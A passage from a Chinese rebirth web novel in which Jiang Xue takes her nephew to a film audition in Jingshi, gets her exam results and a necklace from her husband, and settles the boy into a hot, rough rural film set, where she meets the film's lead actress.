关山越上前, 从江雪手里接过行李袋, “走吧, 送你们去车站。” 关嘉言很高兴, 自己拉开后车座的车门就上去了, 江雪则狐疑了看了关山越一眼, 搞不懂他葫芦里卖的什么药。 昨天晚上和今天早上, 关山越提都没提要开车送他们去车站, 他们下楼前也没打电话回来, 就不怕回来的时候他们已经坐车走了吗？ 但江雪没有多问，同样拉开后车门坐了上去。 关嘉言自己在后面，她不放心。 很快到了火车站, 关山越将车停在路边, 下车后先拉开后车门, 才转去后备箱拿行李。 江雪和关嘉言下车，正要告诉关山越不用送他们进站台，就看到放进后备箱的行李袋在经历短短二十分钟的路程后, 神乎其神的翻了个倍，变成了两个。 另一个自然是关山越的行李。 江雪眯了眯眼，指着他手里多一件的行李袋问：“你什么时候拿走的？”行李袋平时都在衣柜上面放着，不占地方，如果不是要用，根本不会注意到。但她昨天收拾行李时，明明还看到有两个。 关山越心虚，“今天早上。” 江雪：“……” “正好要去京市出差，顺路和你们一起。”关山越亡羊补牢，越描越黑。 江雪朝他冷笑了一声，什么也没说，牵着关嘉言的手就往前走了。 今天早上！哼！ 今天早上还抱着她不撒手，说什么马上要好几天不见面，害得她比平时晚起床一个多小时。还好现在是暑假，关嘉言也起的比上学时晚，否则…… 想到这里，江雪又狠狠剜了关山越一眼。 * 一夜过后，火车停靠京市站台。 小演员面试的时间定在下午，江雪带关嘉言吃了顿早饭后，就找了家条件不错的宾馆叫他去休息。 他们这次来坐的是软卧，比硬卧舒服，但在火车上无论如何都很难休息好。吃过饭后，关嘉言就止不住的打哈欠，最后还是关山越抱着他把他送进宾馆。 忙完，江雪便似笑非笑的盯着关山越看，“不是说来出差吗？” 关山越自知理亏，俯下身握了握江雪的手说：“你也好好休息，我中午来接你们。” 江雪哼了一声，等到关山越打开门要走时，还是忍不住站起身，轻声开口，“注意安全。” 关山越转身回来，视线扫过在后面床上睡觉的关嘉言，目光忍耐，只同样轻声回道：“放心。”说罢，大手抚上江雪侧脸，凑近在她额头落下一吻。 关山越这趟来京市，确实是出差，只不过是他在得知江雪会来京市后，临时从其他人抢来的。 市面上的安保公司越来越多，就在去年，国家下达政策，对此类公司做出了严格规范。不少手续不全的公司被取缔，有几家名义上为安保，实则行不法之事的老板都被抓了起来。 安泰有蔡成威，不仅各项手续合法合规，还在经营过程中帮助警方抓获了不少犯罪嫌疑人，因此在那些个公司倒闭之后，安泰便顺势吞下了他们的业务中合法的一部分，公司规模日渐扩大，不久后就在京市开了家分公司，由蔡成威担任主负责人坐镇。 下车前关山越就用大哥大打了电话，这会儿车子已经停在了宾馆门口，见他出来，司机连忙下车拉开后车门，关山越坐进去，沉声道：“走吧。” * 睡过一觉后的关嘉言重新变得生龙活虎起来，江雪给他重新洗脸刷牙，找出特意带的衣服给他换上。 衣服是新衣服，只不过是特意做的旧款式。上辈子的导演能一眼选中姜衡，未必没有外在形象的缘故。 关嘉言已经忘了自己以前穿过类似的衣服，穿好后低头看了一会儿，发现和自己平时穿的衣服不一样，便鼓起嘴巴。 江雪好笑的捏了捏他的脸，“走，我们去给舅舅打电话，问他什么时候来接我们。” 说曹操曹操到，江雪话音刚落，门铃就响了起来。 关嘉言欢呼着往门口跑，“舅舅，舅舅。” 江雪摁住他，“言言，忘记舅妈怎么说的了吗？” 关嘉言想了想说：“不能随便给人开门。” “对，要先怎么做？” 关嘉言老老实实回答：“要先问是谁。” 江雪示意他问，关嘉言趴在门上，像是怕外面的人听不到一样，大声问：“你是谁？” 关山越的声音透过门板传进来，“是我。” 关嘉言又问：“我是谁？” 江雪知道他这是玩起来了，拍了拍他的肩膀，用力把他抱起起来，让他凑近猫眼去看一眼。 “是舅舅！”关嘉言兴奋的跳下来，打开了门。 * 小演员面试的地点定在市少年宫。到地方后，很快有剧组的工作人员走过来，问过名字后就把他们带到了休息区，又给他们发了掌号码牌，嘱咐道：“等会儿叫到号码再进去。” 江雪低头看了眼号码牌上的数字，一百多号，可见来的人不少。就是不知道上辈子那个本来决定好，到地方后又反悔的小演员在不在。 上辈子，《山外山》剧组最开始选定的饰演男主小时候的小演员并不是关嘉言，而是另外一个人。 当时剧组在报纸上发了角色海选通稿，虽说是全国海选，但因为《山外山》这个名字名气不大，既不是名导大作，也没有知名演员站台，更不是名著翻拍，因此参加试镜的人并不多，去的基本上都是京市本地人，很少有千里迢迢去试镜的。 剧组挑挑选选一个月，最终在候选人里选定了一个小演员。结果让人没想到的是，到了拍摄取景地昌平市以后，这个小演员一看到拍摄环境就后悔了，说什么都不肯留下，又哭又闹，连陪同前来的家长都没有办法，只能带人连夜离开。 被抛下的剧组更是无奈，给另外几个候选人打电话询问情况，都说不愿意跑那么远拍戏。剧组没法，只能一边拍摄大人的戏份，一边在当地放出消息，询问有没有年龄合适的小孩能来拍戏的。 说来也巧，昌平市离新阳市不远，是关嘉言继母，徐秀兰的娘家。她带着姜大宝回娘家走亲戚，听说这件事后，就带着姜大宝去试镜。 姜大宝毫无疑问的没被选上，但徐秀兰听剧组的人说选上的人能拿一两千块钱，她实在眼馋这笔钱，想着电视上都要好看的人，她见过的小孩子里，没有比姜衡更好看的了。 于是咬咬牙，打电话让姜大强把姜衡送了过来。 不知道该说是巧合，还是命中注定，连电视都没看过几次的姜衡就这么被导演选中，从此开启了自己长达几十年的演艺生涯。 “舅妈？” 手掌被软软的握住，江雪思绪回笼，从过往的记忆中抽离出来，她已经很久没有再想起上辈子的事，被眼前的一幕勾起回忆，霎时间有种恍然若梦的感觉。 “怎么了？”她反握住关嘉言的手，温热的掌心让她意识到当下才是现实， 关嘉言张开嘴“啊”了一声，“舅妈，我的牙好像要掉了。” 江雪：“……”—— 作者有话说：[可怜] 第四十章 言言试镜2 关嘉言到了换牙期, 有颗牙摇摇晃晃许久，终于要支撑不住，选择在当下罢工。 关嘉言说完没一会儿, 小脸一皱, 嘴巴一张，往手心里吐出一颗带着血丝的乳牙。 江雪哭笑不得, 从包里拿出纸，接过他手里的牙，另一只手摸着他的脸让他张嘴, “有没有流血？” “没有。”关嘉言说话呼呼漏风, 但还是坚持对江雪说：“舅妈, 这是上面的牙, 要丢进下水道。” 上次掉的是下面的牙, 舅妈让舅舅找了个房顶丢上去。只有这样, 缺了的牙才会乖乖长出来。 “好。”江雪笑着答应他。 所谓上牙往下丢, 下牙往上丢之类的话, 是怕小孩子不懂事, 把掉下来的牙吞进肚子里才这么说的。 江雪在关嘉言的注视下把牙包好, 又叫关山越带他去漱漱口。 至于关嘉言缺了颗牙齿这件事, 江雪并未放在心上。《山外山》剧组选择的就是七八岁，八九岁这个年龄段的小演员，缺牙掉牙都正常。上辈子的关嘉言就是这样演完了电影, 照样萌翻一众观众。 正想着, 关嘉言回来了。 掉了颗牙后会不自觉的舔舐那块空了的牙龈, 关嘉言嘴巴一动一动，江雪看到，用手捏住他的脸颊, 关嘉言顿时像金鱼一样“啵”的撅起嘴，发出含糊不清的声音。 江雪吓唬他，“再舔，小心新牙齿都长歪，像小怪兽。” 关嘉言朝她露出一个狡黠讨好的笑来，他就是忍不住嘛，“嘿嘿，舅妈，我再也不舔了。” 掉了颗牙后，关嘉言说话漏风更加严重，他自己也意识到了这个问题，捂着嘴苦着脸说：“舅妈，我不能唱歌了。” 试镜就是才艺表演，关嘉言原本准备唱一首歌，昨天晚上在火车上他还唱了好几遍，不光舅舅和舅妈夸他唱的好听，连路过的叔叔阿姨都这么说。 江雪故意逗他，也皱起眉道：“真的吗？那怎么办啊？” 和电视剧不同，大部分电影用的都是演员原声，上辈子的姜衡同样说话漏风，以至于台词说的不是很清晰，但导演反而觉得这样很贴合角色。 以至于在二三十年后，粉丝们做角色盘点，总会把这一段单拎出来，开玩笑说这是姜衡演员生涯中台词最差的一次。 看来关嘉言这辈子也避免不了这个命运了。 江雪在心底暗暗发笑，见关嘉言仍是苦着脸，不知道在想什么，便给他出了个主意，“舅妈觉得你平时在家演的就很好。” 关嘉言一听，眼神微微发亮。 他知道要表演什么了！ 自从看了电视剧，关嘉言就迷上了随时随地大小演，有时还会自己分饰几个角色。刚开始江雪还觉得是关嘉言天生自带演员基因，后来再一想，谁小时候没披着床单在家里扮仙女，又或者看着电视里的演员想象是里面的人是自己，演员梦嘛，谁都有过，连她自己都不例外。 剧组的工作人员过来叫号，江雪把号码牌递过去，带着关嘉言朝试镜的房间走去。 * 又一个小朋友出去了，房间里的几个人纷纷叹了口气。 坐在正中间的导演冯康平想抽烟，刚把烟盒掏出来，就被旁边的编剧宋文芳一把夺了过去，“干什么呢？等会儿让家长看见了怎么想咱们剧组？” 闻言，冯康平一拍脑门，“忘了忘了，唉！唉！”说着，连叹两大口气，不再提抽烟的事。 余下两人本来也在发愁，看到这一幕，纷纷笑了出来，指着冯康平道：“冯导啊冯导，也就宋编能压得住你。” 笑归笑，正事不能耽搁。 要说偌大个京市，选个小演员出来不是什么难事，偏偏他们剧组与众不同。要是这个角色只需要露个脸，或者只有一两句话的台词，选起来就容易多了，可在《山外山》这个剧本里，饰演男主小时候的小演员在最开始出场，还穿插一部分男主的回忆。别的先不说，最起码外在形象要和角色适配。 可这几天来试镜的，去唱歌，去跳舞，或者在电视上演个小少爷都没问题，演一个打小在泥地里打滚的农村小子是万万不行的，到时候在电影院放映，观众一看，肯定要骂人，男主小时候怎么可能是那副模样。 宋文芳摇了摇头，还是把刚刚的小演员名字从名单上划掉了。 不行，外形和气质都不合适。 冯康平看到她的动作，同样没什么意见，趁着下一个人还没来，半开玩笑的说：“宋编，实在不行就改改剧本，把小演员的戏份减一点儿，咱们几个也就不用坐这儿干耗着了。” 宋文芳哼笑，“行啊，到时候把我也换了，剧本你们想怎么改就怎么改。” “那可不行。” “咱们剧组缺了谁都行，就是不能没有宋编剧。” 说说笑笑几句，教室门再次被人敲响，冯康平叹气道：“恐怕又是唱歌跳舞。”可他要选的小演员，跟唱歌跳舞不搭边啊！ 宋文芳低头看了看手里的名单，“关嘉言，海市人？”语气略略有些惊讶，他们是在报纸上发了海选通告不假，可外地来的小演员还是第一个。 她抬起头，看向推门进来的小朋友，在看清他身上穿的衣服后，慢慢坐直了身体。 为了方便家长观察，少年宫的大部分教室都有着大大的窗户。 江雪和关山越此时就站在走廊上，透过玻璃看向试镜教室里的人关嘉言。 和前面几人流程一样，关嘉言在做过自我介绍后，开始了自己的表演。 走廊里还有另外几个孩子和他们的家长，在看到关嘉言独树一帜的表演后，纷纷露出惊讶的表情。 “这不是电视上正在演的电视剧？”有家长看出来表演的是什么。 房间里，宋文芳和冯康平对视一眼，都从对方眼中看出了满意的色彩。虽说面前这个和之前的一样，都长得唇红齿白，但没关系，外形可以化妆。 重要的是刚刚他表演的角色里有个老乞丐，被他模仿的惟妙惟肖。 但流程还是要走的。 宋文芳双臂撑在桌子上，笑着问：“小朋友，这是谁教你的啊？” 表演完了，关嘉言反而有些紧张。他站直身体，双腿绷紧，双手背在身后，视线朝窗外扫了一眼，然后就看到舅妈举起手，朝他做了个加油的手势。 关嘉言放松下来，认真回答问题，“没人教我，我是在电视上学的。” 没人教？那能表演成这样，完全是天赋异禀，天生吃这碗饭的了。 又问了几个问题后，关嘉言和其他人一样从试镜教室走了出来。身后，宋文芳用笔在他的名字后打了个对勾，侧头转向另外三人，“就这个？” 冯康平也很满意，点点头，“我看行。” 导演和编剧都点了头，另外两人自然也没什么意见。 * 江雪原本以为来试镜的人这么多，结果要等几天才能出来。反正来都来了，不管结果如何，她打算先带关嘉言在京市逛逛。 谁知没等他们走出少年宫的大门，剧组的工作人员就追了出来，邀请他们去签合同。 合同签完，这事儿就算成了一半。 剩下的一半，则是一个月后剧组正式开机，他们要跟组去昌平市。 关嘉言所饰演的角色戏份不多，类似这种情况，剧组会把一个人的戏份压缩在一起，少则三五天，多则一个星期就能拍完。算算时间，拍完回来后还能再休息几天，不耽误开学。 接下来两天，江雪带着关嘉言在京市好好逛了逛，长城、故宫，还有天坛。 无论什么时候，来京市的人都是最多的，各个景点都是人，但好在还没有多到二三十年后那样。上辈子她来京市旅游，一路上都不知道自己是来旅游的，还是来看人山人海的。 还有京市特产豆汁，江雪买了一碗给关嘉言，关嘉言不知人心险恶，一口下去，脸都皱成了麻花，看向江雪的目光中满是谴责。 而旁边的关山越，一副早有预料的模样，却也没拦着，甚至主动付了钱，再眼睁睁看着江雪捉弄人。 第三天，三人再次乘坐直达特快列车，回到了海市。 不知不觉距离高考已经过去了大半个月，各省陆续在报纸上公布了录取分数线。 江雪在考完后就对照答案估算出了自己的总分，再对比录取分数线，心底就有了大概。所以到了可以打查分热线那天，知道电话很难打通，她就没上赶着去凑热闹，打算过两天再打。 然而她坐得住，反倒是关山越如坐针毡，光是上午就打了好几个电话回来询问结果，江雪索性把自己的准考证号报给他，“查完了告诉我一声。” 关山越没敢发动公司里的人跟他一起查分，自己任劳任怨的在办公室里一遍遍的打电话。 助理进来送文件给他，看到他凝重的表情，还以为公司了发生了什么了不得的事情，轻手轻脚的关上门出去了。 临近下班时间，所有人都松懈下来，没有什么要紧事，便一边闲聊，一边有意无意的收拾起东西来。 正说到助理要给女朋友送生日礼物，不知道选什么才好时，关山越从办公室出来了。众人纷纷收声，却见关山越一副心情很好地样子，路过时还和他们打了声招呼，“在聊什么？” 助理眼神飘忽，不好意思的挠挠头，“嗐，我女朋友生日，不知道送什么礼物，征求一下大家的意见。” 礼物？ 关山越停下脚步，脑子里闪过一个念头，他是不是应该带份礼物回去？—— 作者有话说：送什么礼物才好捏[害羞]《 》 40-50 第四十一章 雪花项链 助理和女朋友大学认识, 谈恋爱谈了三年，已经开始谈婚论嫁。 “就买钻石戒指。”既然是情侣，有人对助理小胡推荐道：“广告上那句说怎么说来着？钻石……” “钻石恒久远, 一颗永流传。” “对对对, 就是这句。” “现在就流行买结婚戒指，买一对, 钻石的最好，夫妻俩都戴在这个无名指上，让人一看就知道是结了婚的。” “那小胡应该结婚了再买, 现在买还是早了点儿。” …… 几个人七嘴八舌的没有议论出结果, 关山越听了一会儿, 便转身离开。 他现在急着去做另外一件事, 那就是回家告诉江雪她的考试成绩。 虽然打电话也不是不能说, 但关山越的手都搁在了话筒上, 想了想, 还是放下了。 他想当面告诉江雪这个好消息。 ……结婚戒指。 车开到半路, 经过一家新开的商场, 外面的墙壁上挂着大幅广告, 其中一幅上面印着的正是一枚闪闪发光的钻石戒指。 关山越调转车头, 下车走进商场。 卖钻石戒指的商铺就在一楼，进门后就能看到柜台，透明的玻璃柜子里不仅有戒指, 还有项链, 手镯, 款式不一，灯光一打，上面镶嵌的钻石闪闪发光。 关山越是自己一个人来的, 平时来店里的都是情侣、夫妻，少有男方一个人来的，但关山越手里拿着大哥大，进来后又直奔钻石柜台，营业员一看就知道他是真心要买，连忙挂起笑脸迎了上去。 “先生，有喜欢的款式吗？都可以拿出来试试的。” 关山越从里面挑了个看起来最大的，“这个。” 营业员微笑道：“好的先生，方便让我看一下您的指围吗？” 关山越反应过来，“不是我戴。” 江雪的手指纤细修长，关山越形容了一下，营业员也不嫌麻烦，挑了几个尺寸出来拿给关山越看，“店里目前只有这几个尺寸，如果都不合适，就需要订做了。” 关山越难以抉择，营业员笑容不减，“那先生要看看项链吗？项链可以自己调节尺寸的。” 项链在另一边柜台，关山越走过去，立刻被其中一条项链上的挂坠吸引，抬手一指，“就这条吧。” 十分钟后，关山越拎着一个袋子从商场走了出来。 * 薄薄几页剧本，江雪拿在手里，把关嘉言要说的台词一个字一个字教给他。 剧本是剧组昨天刚刚寄过来的，只有关嘉言自己的那一部分。剧组附信说，只需要让关嘉言先把台词记清楚，剩下的等进组后有表演老师。 关嘉言学的认真，遇到不认识的字，还会自己拿笔在字上面写上拼音。 读过两遍后，关嘉言就自信的摆摆手，拒绝了江雪的帮忙，“舅妈，我都记住了。” 江雪就把剧本给他，让他自己看，自己起身出去。 乔亚楠的童装厂越做越大，已经不满足于向商铺供货，打算开一家直营店，专门卖自己厂里的衣服，除了之前出过的款式放在店里当怀旧款之外，新款也要多出几件。 江雪最近都在忙这件事，刚把打板要用的工具拿出来，就见关山越开门进来。 “回来了？” 江雪顺嘴问候了一句，便又把注意力放在了要做的事上，没有看到关山越一只手背在身后，一副神神秘秘的样子。 卧室面积有限，因此缝纫机还是放在了客厅，靠近阳台的位置光线比较好，江雪又靠墙摆了张桌子，日常画图和打板都在那里。 此刻夕阳低垂，橘红色的晚霞染红了半壁天空，透过玻璃照进屋内。江雪弯腰半俯，一手扶尺，一手用划粉在布料上留下浅浅的标记。 关山越无声无息的走到了她身后，江雪似有所察，正要回头去看，忽然觉得脖子上落下一个冰冰凉凉的东西。 她低头一看，只见领口处多了条银白色的项链，项链下方悬着的吊坠是朵六角雪花，雪花当中一颗较大的钻石，余下六个角上各有一颗稍小的钻石。 关山越的声音自身后传来，“升学礼物。” “升学？”江雪摸着吊坠，脑子一转，就想明白了，“你查到分数了？” 关山越点头，报出一个数字，比江雪自己的估分还略高一些。 即便早有心理准备，从关山越口中得知确切消息后，江雪仍是松了口气。 她的分数不高不低，肯定是过了本科录取分数线的，但按照去年国立纺织大学的录取情况看，又刚好卡在边边上。好在当初报志愿的时候她没有逞强，而是在允许范围内，把几个志愿都填满了。 除了国立纺织大学外，江雪还报了海市的其他学校。以这个分数看，不管怎么样她都是有大学可以上的。 人逢喜事精神爽，江雪索性把手里的工具一丢，转过身，双臂架在关山越肩膀上，垫脚亲了他一下，开心道：“今天不做饭了，出去吃！” 关山越双手扶着她的腰，闻言低低的笑了声，“不急。” * 时间一晃而过，很快，江雪就要带着关嘉言前往昌平市，跟组拍戏。 路途遥远，且没有直达列车，关山越放心不大，打算送他们过去，但一来一回最起码需要四五天的时间，许多事根本脱不开手，又没法像未来那样随时随地开启线上会议。 于是这一次，关山越只能老老实实的留在海市。 好在安泰有私人保镖业务，关山越以个人名义从公司请了个女保镖出来，让她跟着江雪和关嘉言去昌平市，等拍摄结束再跟着回来。 江雪默然无语。 安泰的收费标准她略知一二，关嘉言演完这部剧的片酬只有一千五，雇佣这个女保镖的费用，加上之前来往京市的路费，算下来不仅没赚，还贴进去不少。 关嘉言的顶流之路，任重而道远啊！ 火车呜呜着驶向远方。 昌平市。 这是个同样位于内陆地区的小城市，和安河、新阳一样，经济发展落后于沿海地区，整座城市仿佛被笼罩在巨大的时代滤镜之下。 关嘉言离开两年，旧时的记忆已经被新的记忆所覆盖，但从车站出来后，被刻意遗忘的痛苦和难过在环境的影响下略微浮现，令他下意识靠近了江雪，紧紧拉住了她的手，抿着唇，一言不发。 火车站在市区，而《山外山》剧组的拍摄地远在几十里外的农村。在车站外等了一会儿后，剧组来接他们的车来了。 ——一辆颇具时代特征的手扶拖拉机—— 作者有话说：关嘉言：贴钱打工ing 第四十二章 进组第一天 手扶拖拉机挂着《山外山》的横幅就这么直愣愣的停在了他们面前, 江雪沉默不语，而关嘉言则是惊讶的瞪大了双眼。 关嘉言还是第一次如此近距离的见到手扶拖拉机，看着这样一辆冒着黑烟, 并且不停地发出“突突突”的声音的庞然大物, 心里又好奇又紧张，把刚刚勾起的那点儿不开心都冲散了。 他们要坐的车是这个吗？ 薇薇他们肯定都没有见过这样的车, 于是他转过头，期待的看着江雪，“舅妈, 我能在上面拍照吗？” 话音刚落, 从拖拉机后的车斗里颤颤巍巍的跳下来一个人, 落地时还踉跄了下, 差点儿原地跪倒。 江雪定睛一看, 愣了, “冯导？” 入乡随俗, 冯康平一改初见时衣着整齐, 头发三七分的板正模样, 穿着宽大的短袖短裤, 头上戴了个草帽, 整个人像是刚在庄稼地里干完活儿。要不是江雪眼尖，差点儿没认出来。 冯康平笑着上来同他们寒暄，“路不好, 车开的慢了点儿, 没让你们等太久吧？” “我们也是刚刚才到。”江雪笑着说, 同冯康平握手后，将手搭在关嘉言肩头，轻轻捏了捏。 关嘉言对冯康平还有印象, 乖乖打了招呼，“导演叔叔好。” “哎，关嘉言小朋友，你好你好。”冯康平弯下腰同他对视，见关嘉言的小脸被晒得红扑扑的，当即摘下自己的草帽扣在了他头上，“来，戴着，凉快着呢。” 草帽比关嘉言的脑袋大了一圈，戴上后把脸都遮了一半，关嘉言赶紧举高两只手扶着帽子，对冯康平咧嘴一笑，“谢谢导演叔叔。” 冯康平亲自到场，不光是接江雪和关嘉言，还有另外几个同样是今天抵达的演员。正因如此，他才特地去找老乡借了这辆拖拉机，车斗足够大，能一次性把人和行李全都带上。 江雪呵呵一笑，她怀疑冯康平亲自来的原因，是怕他们看到拖拉机后当场反悔，直接从车站买票打道回府。 看破不说破，江雪先把行李放到了车里。 等了没一会儿，一辆从京市开来的列车到站，从出站口走出来四五个衣着靓丽的年轻人，有男有女。 冯康平赶紧举高手臂朝他们招手，“这边，唐晓曦！” 江雪不觉一怔，立刻回身看去。 只见为首的女生穿着宽松的短袖衬衫，修身牛仔裤，一根红色的波点发带扎在头顶，耳朵上挂着大大的耳环，听到叫自己名字的声音后也高举起手朝这边打招呼，浑身上下洋溢着活泼明媚的色彩。 唐晓曦，《山外山》女主的饰演者。 没想到冯康平要来接的人中，居然有她。 江雪不由得多看了对方几眼，记忆中的这张脸，因为时间的流逝，以及生活的种种磋磨，已经变得老态且疲惫，让人很难与她在电影中年轻漂亮的模样联系起来。 很多人将其归结为时代滤镜，江雪也曾这么以为，但在看到唐晓曦本人后，这个想法便消失的一干二净。 不仅是漂亮，年轻时候的唐晓曦身上有种勃然向上的生机，与十数年后的死气沉沉判若两人。 正想着，几个年轻人走了过来，看到挂着横幅的拖拉机，不约而同的沉默了好一会儿，其中一个男生道：“我们……我们要坐的车就是这个？” 其余几人也都面露难色，只有唐晓曦十分干脆，一把将行李甩上车，拍拍手道：“哎呀，试镜的时候不都说了条件艰苦，好歹有车坐，不用咱们走着去。” 其余人：“……” 来都来了，连导演都在车斗里坐着，他们再怎么不满意，也只能硬着头皮跟着上了车。 等到所有人都坐定，开车的大爷摇动一根L形铁棍将拖拉机启动，黑烟冒气，带动车斗缓缓向前行驶。 路途遥远，很快，车里的几个人就聊了起来。 关嘉言作为整个剧组里年纪最小的，不出意外的受到了大家的一致喜爱，纷纷从兜里掏出零食来给他吃。关嘉言收了零食，挨个叫哥哥姐姐，听的导演心里酸酸的。 唉，叫别人是哥哥姐姐，叫他就是导演叔叔。 唐晓曦坐在江雪对面，她给了关嘉言一袋巧克力。 自从开始换牙，江雪就严格限制了关嘉言吃糖的次数，看着递过来的巧克力，关嘉言先是回头去看江雪，江雪点头后，才开心的接过来抱在怀里。 江雪摸摸他的头发，“言言。” 关嘉言反应过来，自己忘记说谢谢了。 “没事没事，不用客气。”唐晓曦笑着摆摆手，对上江雪看过来的目光，顿了顿，疑惑道：“你，认识我吗？” 江雪笑着回应，“看过你演的电视剧。” 唐晓曦“呀”了声，惊喜的涨红了脸。 她当演员也有两三年了，之前演的都是些小角色，什么小姐身边的丫鬟，超市里买东西的营业员，台词都没有几句，要守着电视才不会错过她的镜头。《山外山》是她试镜上的第一个女主角，没想到会在这里遇到认识她的人。 唐晓曦不好意思的说：“我演的不好。” “没有。”江雪语气笃定，“你演的很好，大家都会喜欢的。” 饶是唐晓曦这么大大咧咧的人，也被这句话夸得脸通红，变得不好意思起来，赶紧又从包里翻腾零食塞给关嘉言。 江雪：“……” 只有江雪知道自己说的是真的。 在上辈子的时间线中，唐晓曦在《山外山》中饰演的女主俏皮灵动，深受观众喜爱，还有不少粉丝写信给她，期待她出演新角色。 但让人没想到的是，《山外山》上映后没多久，唐晓曦就和一个圈外人结了婚，结婚对象家里做生意，算得上小有资产。婚后不久，唐晓曦便渐渐淡出公众视野，就当大家以为她嫁入豪门不再演戏的时候，唐晓曦复出，并开始不断地接戏演戏，到处走穴赚钱。 直到后来，姜衡和公司打解约官司，各种流言蜚语尘嚣之上的时候，唐晓曦第一个站出来为姜衡仗义执言，并说出当初是她前夫欠下巨额赌债，又拖着不肯离婚，用孩子作把柄迫使她赚钱还债。 走投无路之下，是姜衡将自己偷偷攒下来的一笔钱给了她，鼓励她请律师打离婚官司，才让她有机会从深不见底的泥潭中挣扎出来。 重来一次…… 江雪垂下眼，掩去了眼底的思绪。 * 从平坦的大路上下来后，又在乡间小路上颠簸了将近一个小时，在被颠散架之前，终于抵达了目的地，昌平市谷丰乡。 剧组提前小半个月过来租房子架设备，然而条件实在有限，不管是演员，还是剧组的工作人员，都要借住到老乡家里去。 留给江雪他们的是一位老乡家的厢房，带他们过来的工作人员说：“这家人的儿子出门跑车去了，说是下周回来，这间房只能租给我们几天。” 怪不得能留给他们。 说完，工作人员看了看江雪他们三个，犹豫道：“只有一张床。” 江雪看了看房间，不大，但还算整洁，就是不知道本来就是这样，还是剧组打扫过的，“一张床够了，住得下。” 除了江雪和关嘉言，还有请来的女保镖方曼。 方曼话不多，江雪知道他们这行的规矩，也就没有刻意和她拉近关系。冯康平问起时，也只说是一起来的亲戚。 工作人员走后，方曼立刻按照程序将房间里里外外的检查了一遍，除了床，房间里还有几个柜子，都上了锁，正对床的位置有扇窗，窗户上的插销是好的。 检查完，见江雪正在收拾东西，方曼连忙道：“老板，我睡地下就行。” 江雪拦住她，“不行，地上有虫。”脚下的地还是黄泥夯的，冬天也就算了，夏天一定要小心蜈蚣、蟑螂之类的动物，指不定从哪里爬出来。 江雪拍了拍床，“就睡床上，挤一挤，反正也没几天。” 方曼没再拒绝，帮着江雪收拾起东西来。 关嘉言哼哼唧唧，“舅妈，我们要睡在一起吗？” 自从上了小学，又自己单独住一间房后，关嘉言的男女意识逐渐觉醒，之前还会让江雪帮他穿衣服，现在连江雪进他的房间都要先敲门。 江雪把带来的床单铺好，抽空应了声，“对。” 关嘉言不太开心了，大声说：“不要不要，我要自己睡！” 江雪没有直接给出强硬的回答，等收拾完东西，才带着关嘉言往外走，“走，舅妈带你去外面逛一逛。” 谷丰乡不大，慢慢走上一圈也用不了多久，一路上时不时能遇上剧组的工作人员，打过招呼后，江雪带关嘉言去看他们住的房子，还有床。 说是房子，有的人直接睡在了廊檐下，无须遮风，能挡雨就行。所谓的床也是用旧门板加砖头搭成的，用手一摸，直挺挺、硬邦邦。 越走，关嘉言的小脸绷的越紧，最后拉着江雪的手道：“舅妈，对不起，我错了，我不该发脾气。” 江雪蹲下身，与低着头不肯看她的关嘉言对视，“没关系，言言刚刚只是不知道，现在知道了，就勇于承认错误，这就很好，对不对？” 关嘉言点点头，扑进她怀里，双手搂住她的脖子，不说话。 江雪现在可抱不动他，停了停问：“言言也看到了，拍戏要吃很多的苦，既然我们已经来了，就不能半途而废，言言能做到吗？” “嗯！”关嘉言这次回答的很快，直起身，自己给自己比了个加油的手势，“我一定会做到的！” 关嘉言话音刚落，旁边的屋子里走出来一个人。唐晓曦苦着脸，一副生无可恋的样子，仰头对着太阳大喊：“热啊！热死了！”—— 作者有话说：[撒花] 第四十三章 未来要当大明星！ 唐晓曦喊完后才看到门口的江雪和关嘉言, 没有觉得不好意思，开心地朝两人挥了挥手，“嗨, 你们来了。” 江雪带关嘉言走过去。 作为女主演, 唐晓曦同样分到了一间单独的屋子。 现在还不流行一个演员后面跟四五个鞍前马后的助理，因此跟唐晓曦一起住的是跟她同来的另一个女演员。两个人都从房间里走了出来, 脸上也都挂着汗。 “唉！”唐晓曦站在树荫下，从地上捡了个巴掌大的树叶当扇子，边扇边问江雪, “你们不热吗？” 江雪实话实说：“热。” 现在是八月中旬, 他们到谷丰乡的时候已经是傍晚, 尽管太阳已经西垂, 但经过一天的太阳直射, 不管是房间里还是房间外, 到处都热气腾腾, 连树上的蝉都叫的有气无力。 唐晓曦擦了擦头上的汗, 看到同样热的一头汗的关嘉言, 用自己的小树叶朝他扇了扇, “我们大人倒没什么, 言言这么小，晚上怎么睡？”说着，她眼珠一转, “对了, 要不我们去买一个吧。” 江雪拦住了她, “这里离镇上还远着呢，要买也只能明天去买。” “早知道就在来的路上买一个了。”见关嘉言盯着自己，唐晓曦索性把自己的树叶子给了他, 自己低头绕着数转了一圈，打算再捡一个。 江雪也想过这个问题，这种天气，没有电风扇是万万过不下去的。她对唐晓曦道：“我们现在借住在老乡家里，要跟老乡商量好，到时候电风扇是留下来抵电费，还是把电风扇带走，电费另算。” “那么大个电风扇，带也带不走。”唐晓曦朝另一个女生扬扬下巴，“咱俩合伙儿买一个，怎么样？” 一个便宜点的电风扇也就几十块钱，而她们至少要在这里呆一个月，女生当即点头，“买！” “顺便去问问剧组的其他人，想买的肯定不止你们俩，到时候一起买更划算。”江雪说：“我就不买了，我们就住几天，直接在村里找人租一个就行。” “唉！”几个人齐齐叹气。 江雪现在终于知道上辈子的那个小演员为什么不肯留下，连夜离开了。 要买的不止是电风扇，还有蚊香。好在出发前江雪特地在包里塞了瓶花露水，洗澡时在水里滴上几滴，洗完澡后再拍一些在身上，既凉快，又能驱蚊。 总算熬过一夜。 等第二天正式开拍时，江雪打着哈欠从包里掏出一个相机。 唐晓曦刚拍完几场，停下来歇歇，就坐在江雪旁边，“哎？你还带了相机？给言言拍照啊？” “嗯，拍几张留念。”江雪把胶卷塞进相机里，她提前跟冯康平说过了，拍的照片在电影上映之前不会流传出去。 江雪笑了笑说：“毕竟是言言第一次拍电影。” 装好胶卷，又调整了一下镜头，江雪对准拍摄场地内的关嘉言摁下快门。 顶流之路任重而道远，但从今天开始，她就是关嘉言的首位站姐！ 看她一连拍了好几张，唐晓曦不免也有些心动，忍不住开口道：“江雪，你能给我也拍几张吗？”毕竟是麻烦人的事，况且胶卷也不便宜，唐晓曦又赶紧补充了一句，“我给你钱，就当我请你，好不好嘛？” 说到最后，多少有点儿撒娇的意思。 谁会不喜欢美女对自己撒娇呢？ 江雪把镜头对准她，“来，笑一个。” “啊？现在就拍吗？”唐晓曦慌里慌张的比手势。 